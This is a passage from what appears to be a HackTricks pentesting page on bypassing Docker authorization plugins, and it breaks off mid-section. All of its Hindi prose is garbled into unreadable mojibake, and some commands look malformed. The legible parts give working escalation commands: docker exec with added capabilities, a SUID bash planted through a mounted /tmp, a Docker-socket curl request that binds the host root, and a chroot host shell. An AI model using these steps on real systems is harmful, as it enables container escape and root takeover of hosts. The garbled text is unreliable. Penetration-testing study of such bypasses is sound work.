AuthZ& AuthN - Docker Access Authorization Plugin

Support HackTricks

Docker рдХрд╛ authorization рдореЙрдбрд▓ рд╕рднреА рдпрд╛ рдХреБрдЫ рдирд╣реАрдВ рд╣реИред рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЬреЛ Docker рдбреЗрдорди рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд░рдЦрддрд╛ рд╣реИ, рд╡рд╣ рдХрд┐рд╕реА рднреА Docker рдХреНрд▓рд╛рдЗрдВрдЯ рдХрдорд╛рдВрдб рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред рдпрд╣ рд╡рд╣реА рд╕рддреНрдп рд╣реИ рдЬреЛ Docker рдХреЗ Engine API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдорди рд╕реЗ рд╕рдВрдкрд░реНрдХ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХреЙрд▓рд░реНрд╕ рдХреЗ рд▓рд┐рдП рд╣реИред рдпрджрд┐ рдЖрдкрдХреЛ рдЕрдзрд┐рдХ рдкрд╣реБрдБрдЪ рдирд┐рдпрдВрддреНрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк authorization plugins рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдЕрдкрдиреЗ Docker рдбреЗрдорди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред рдПрдХ authorization plugin рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдПрдХ Docker рдкреНрд░рд╢рд╛рд╕рдХ Docker рдбреЗрдорди рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рдмрдВрдзрди рдХреЗ рд▓рд┐рдП рд╕реВрдХреНрд╖реНрдо рдкрд╣реБрдБрдЪ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдореВрд▓ рд╡рд╛рд╕реНрддреБрдХрд▓рд╛

Docker Auth plugins рдмрд╛рд╣рд░реА plugins рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдЕрдиреБрдорддрд┐/рдЕрд╕реНрд╡реАрдХреГрддрд┐ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ Docker рдбреЗрдорди рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдХреНрд░рд┐рдпрд╛ рдЕрдиреБрд░реЛрдз рдХреА рдЧрдИ рд╣реИред

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рд╕реЗ рд╣реИ

рдЬрдм рдПрдХ HTTP рдЕрдиреБрд░реЛрдз Docker рдбреЗрдорди рдХреЗ рд▓рд┐рдП CLI рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдпрд╛ Engine API рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ authentication рдЙрдкрдкреНрд░рдгрд╛рд▓реА рдЕрдиреБрд░реЛрдз рдХреЛ рд╕реНрдерд╛рдкрд┐рдд authentication plugin(s) рдХреЛ рднреЗрдЬрддреА рд╣реИред рдЕрдиреБрд░реЛрдз рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рдХреЙрд▓рд░) рдФрд░ рдХрдорд╛рдВрдб рд╕рдВрджрд░реНрдн рд╣реЛрддрд╛ рд╣реИред plugin рдпрд╣ рддрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ рдХрд┐ рдЕрдиреБрд░реЛрдз рдХреЛ рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рдП рдпрд╛ рдЕрд╕реНрд╡реАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рдПред

рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдЕрдиреБрдХреНрд░рдо рдЖрд░реЗрдЦ рдЕрдиреБрдорддрд┐ рдФрд░ рдЕрд╕реНрд╡реАрдХреГрддрд┐ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреНрд░рд╡рд╛рд╣ рдХреЛ рджрд░реНрд╢рд╛рддреЗ рд╣реИрдВ:

рдкреНрд░рддреНрдпреЗрдХ рдЕрдиреБрд░реЛрдз рдЬреЛ plugin рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛, HTTP рд╣реЗрдбрд░, рдФрд░ рдЕрдиреБрд░реЛрдз/рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИред рдХреЗрд╡рд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкреНрд░рдорд╛рдгрди рд╡рд┐рдзрд┐ рдЬреЛ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рд╣реИ, plugin рдХреЛ рднреЗрдЬреА рдЬрд╛рддреА рд╣реИред рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд╛рдд, рдХреЛрдИ рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдпрд╛ рдЯреЛрдХрди рдирд╣реАрдВ рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВред рдЕрдВрдд рдореЗрдВ, рд╕рднреА рдЕрдиреБрд░реЛрдз/рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдХреЛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг plugin рдХреЛ рдирд╣реАрдВ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред рдХреЗрд╡рд▓ рд╡реЗ рдЕрдиреБрд░реЛрдз/рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдЬрд╣рд╛рдВ Content-Type рдпрд╛ рддреЛ text/* рдпрд╛ application/json рд╣реИ, рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВред

рдЙрди рдХрдорд╛рдВрдбреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ HTTP рдХрдиреЗрдХреНрд╢рди рдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╣рд╛рдИрдЬреИрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (HTTP Upgrade), рдЬреИрд╕реЗ exec, рдкреНрд░рд╛рдзрд┐рдХрд░рдг plugin рдХреЗрд╡рд▓ рдкреНрд░рд╛рд░рдВрднрд┐рдХ HTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдмрд╛рд░ рдЬрдм plugin рдХрдорд╛рдВрдб рдХреЛ рдордВрдЬреВрд░реА рджреЗрддрд╛ рд╣реИ, рддреЛ рд╢реЗрд╖ рдкреНрд░рд╡рд╛рд╣ рдкрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд▓рд╛рдЧреВ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рд╕реНрдЯреНрд░реАрдорд┐рдВрдЧ рдбреЗрдЯрд╛ рдХреЛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг plugins рдХреЛ рдирд╣реАрдВ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрди рдХрдорд╛рдВрдбреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рдЪрдВрдХреНрдб HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд▓реМрдЯрд╛рддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ logs рдФрд░ events, рдХреЗрд╡рд▓ HTTP рдЕрдиреБрд░реЛрдз рдХреЛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг plugins рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЕрдиреБрд░реЛрдз/рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рджреМрд░рд╛рди, рдХреБрдЫ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреНрд░рд╡рд╛рд╣ рдХреЛ Docker рдбреЗрдорди рдХреЗ рд▓рд┐рдП рдЕрддрд┐рд░рд┐рдХреНрдд рдкреНрд░рд╢реНрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред рдРрд╕реЗ рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, plugins рдПрдХ рдирд┐рдпрдорд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рдорд╛рди рдбреЗрдорди API рдХреЛ рдХреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди рдЕрддрд┐рд░рд┐рдХреНрдд рдкреНрд░рд╢реНрдиреЛрдВ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, plugin рдХреЛ рдПрдХ рдкреНрд░рд╢рд╛рд╕рдХ рдХреЛ рдЙрдЪрд┐рдд рдкреНрд░рдорд╛рдгрди рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╛рдзрди рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред

рдХрдИ Plugins

рдЖрдкрдХреЛ Docker рдбреЗрдорди рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрдиреЗ plugin рдХреЛ рдкрдВрдЬреАрдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИрдВред рдЖрдк рдХрдИ plugins рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдПрдХ рд╕рд╛рде рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреНрд░рдордмрджреНрдз рд╣реЛ рд╕рдХрддреА рд╣реИред рдбреЗрдорди рдХреЗ рд▓рд┐рдП рдкреНрд░рддреНрдпреЗрдХ рдЕрдиреБрд░реЛрдз рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреНрд░рдо рдореЗрдВ рдкрд╛рд╕ рд╣реЛрддрд╛ рд╣реИред рдХреЗрд╡рд▓ рдЬрдм рд╕рднреА plugins рд╕рдВрд╕рд╛рдзрди рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рддрдм рдкрд╣реБрдБрдЪ рджреА рдЬрд╛рддреА рд╣реИред

Plugin рдЙрджрд╛рд╣рд░рдг

Twistlock AuthZ Broker

Plugin authz рдЖрдкрдХреЛ рдПрдХ рд╕рд░рд▓ JSON рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ plugin рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдЕрдзрд┐рдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрдврд╝реЗрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдпрд╣ рдЖрдкрдХреЛ рдмрд╣реБрдд рдЖрд╕рд╛рдиреА рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдЕрд╡рд╕рд░ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ API рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред

рдпрд╣ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдЬреЛ рдПрд▓реАрд╕ рдФрд░ рдмреЙрдм рдХреЛ рдирдП рдХрдВрдЯреЗрдирд░ рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛: {"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}

рдкреГрд╖реНрда route_parser.go рдореЗрдВ рдЖрдк рдЕрдиреБрд░реЛрдзрд┐рдд URL рдФрд░ рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмреАрдЪ рд╕рдВрдмрдВрдз рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдкреГрд╖реНрда types.go рдореЗрдВ рдЖрдк рдХреНрд░рд┐рдпрд╛ рдирд╛рдо рдФрд░ рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмреАрдЪ рд╕рдВрдмрдВрдз рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рд╕рд░рд▓ Plugin рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓

рдЖрдк рдпрд╣рд╛рдБ рдПрдХ рд╕рдордЭрдиреЗ рдореЗрдВ рдЖрд╕рд╛рди plugin рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рд╕реНрдерд╛рдкрдирд╛ рдФрд░ рдбрд┐рдмрдЧрд┐рдВрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рд╣реИ: https://github.com/carlospolop-forks/authobot

рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП README рдФрд░ plugin.go рдХреЛрдб рдкрдврд╝реЗрдВ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИред

Docker Auth Plugin Bypass

рдкрд╣реБрдБрдЪ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ

рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдореБрдЦреНрдп рдмрд╛рддреЗрдВ рд╣реИрдВ рдХреМрди рд╕реЗ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ рдФрд░ рдХреМрди рд╕реЗ HostConfig рдХреЗ рдорд╛рдиреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред

рдЗрд╕ рд╕реВрдЪреАрдмрджреНрдзрддрд╛ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЙрдкрдХрд░рдг https://github.com/carlospolop/docker_auth_profiler** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред**

рдЕрд╕реНрд╡реАрдХреГрдд run --privileged

рдиреНрдпреВрдирддрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

Running a container and then getting a privileged session

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ sysadmin рдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╡реЙрд▓реНрдпреВрдо рдорд╛рдЙрдВрдЯ рдХрд░рдиреЗ рдФрд░ --privileged рдлреНрд▓реИрдЧ рдХреЗ рд╕рд╛рде рдХрдВрдЯреЗрдирд░ рдЪрд▓рд╛рдиреЗ рдпрд╛ рдХрдВрдЯреЗрдирд░ рдХреЛ рдХреЛрдИ рдЕрддрд┐рд░рд┐рдХреНрдд рдХреНрд╖рдорддрд╛ рджреЗрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреА:

docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЪрд▓ рд░рд╣реЗ рдХрдВрдЯреЗрдирд░ рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╢реЗрд▓ рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрд╕реЗ рдЕрддрд┐рд░рд┐рдХреНрдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рджреЗ рд╕рдХрддрд╛ рд╣реИ:

docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de

# Now you can run a shell with --privileged
docker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
# With --cap-add=ALL
docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash

рдЕрдм, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕реА рднреА рдкрд╣рд▓реЗ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдВрдЯреЗрдирд░ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЕрдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддрд╛ рд╣реИ рд╣реЛрд╕реНрдЯ рдХреЗ рдЕрдВрджрд░ред

рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдлрд╝реЛрд▓реНрдбрд░ рдорд╛рдЙрдВрдЯ рдХрд░реЗрдВ

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рдХ рдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ --privileged рдзреНрд╡рдЬ рдХреЗ рд╕рд╛рде рдХрдВрдЯреЗрдирд░ рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреА рдпрд╛ рдХрдВрдЯреЗрдирд░ рдХреЛ рдХреЛрдИ рдЕрддрд┐рд░рд┐рдХреНрдд рдХреНрд╖рдорддрд╛ рджреЗрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреА, рдФрд░ рдЙрд╕рдиреЗ рдХреЗрд╡рд▓ /tmp рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА:

host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╢рд╛рдпрдж рдЖрдк /tmp рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдорд╛рдЙрдВрдЯ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд▓реЗрдХрд┐рди рдЖрдк рдПрдХ рд╡рд┐рднрд┐рдиреНрди рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП: find / -writable -type d 2>/dev/null рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╕рднреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ рдПрдХ рд▓рд┐рдирдХреНрд╕ рдорд╢реАрди рдореЗрдВ suid рдмрд┐рдЯ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░реЗрдВрдЧреА! рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреМрди рд╕реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ suid рдмрд┐рдЯ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреА рд╣реИрдВ, mount | grep -v "nosuid" рдЪрд▓рд╛рдПрдБред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ /dev/shm, /run, /proc, /sys/fs/cgroup рдФрд░ /var/lib/lxcfs suid рдмрд┐рдЯ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред

рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк /etc рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЗрдВ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдбреЙрдХрд░ рдХрдВрдЯреЗрдирд░ рд╕реЗ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЖрдк рд╣реЛрд╕реНрдЯ рдореЗрдВ рдЙрдирдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХреЗрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХреЗрдВ (рд╢рд╛рдпрдж /etc/shadow рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ)ред

рдЕрдирд┐рдпрдВрддреНрд░рд┐рдд API рдПрдВрдбрдкреЙрдЗрдВрдЯ

рдЗрд╕ рдкреНрд▓рдЧрдЗрди рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рдХ рдХреА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╣реЛрдЧреА рдХрд┐ рд╡рд╣ рдпрд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░реЗ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреМрди рд╕реА рдХреНрд░рд┐рдпрд╛рдПрдБ рдФрд░ рдХрд┐рд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдФрд░ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдЕрдкрдирд╛рддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдХреБрдЫ рдХреЛ рднреВрд▓ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред

рдЖрдк рдбреЙрдХрд░ API рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ https://docs.docker.com/engine/api/v1.40/#

рдЕрдирд┐рдпрдВрддреНрд░рд┐рдд JSON рд╕рдВрд░рдЪрдирд╛

рд░реВрдЯ рдореЗрдВ рдмрд╛рдЗрдВрдбреНрд╕

рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЬрдм рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рдХ рдиреЗ рдбреЙрдХрд░ рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛, рддреЛ рдЙрд╕рдиреЗ API рдХреЗ рдХреБрдЫ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреИрд░рд╛рдореАрдЯрд░ рдЬреИрд╕реЗ "Binds" рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рднреВрд▓ рдЧрдпрд╛ред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдЗрд╕ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдХрдВрдЯреЗрдирд░ рдмрдирд╛рдирд╛ рдФрд░ рдЪрд▓рд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдЬреЛ рд╣реЛрд╕реНрдЯ рдХреЗ рд░реВрдЯ (/) рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░рддрд╛ рд╣реИ:

docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд╣рдо Binds рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ JSON рдореЗрдВ рдПрдХ рд░реВрдЯ рд╕реНрддрд░ рдХреА рдХреБрдВрдЬреА рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рд▓реЗрдХрд┐рди API рдореЗрдВ рдпрд╣ HostConfig рдХреБрдВрдЬреА рдХреЗ рддрд╣рдд рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИред

HostConfig рдореЗрдВ Binds

Binds in root рдХреЗ рд╕рд╛рде рд╡рд╣реА рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ рдФрд░ Docker API рдкрд░ рдпрд╣ request рдХрд░реЗрдВ:

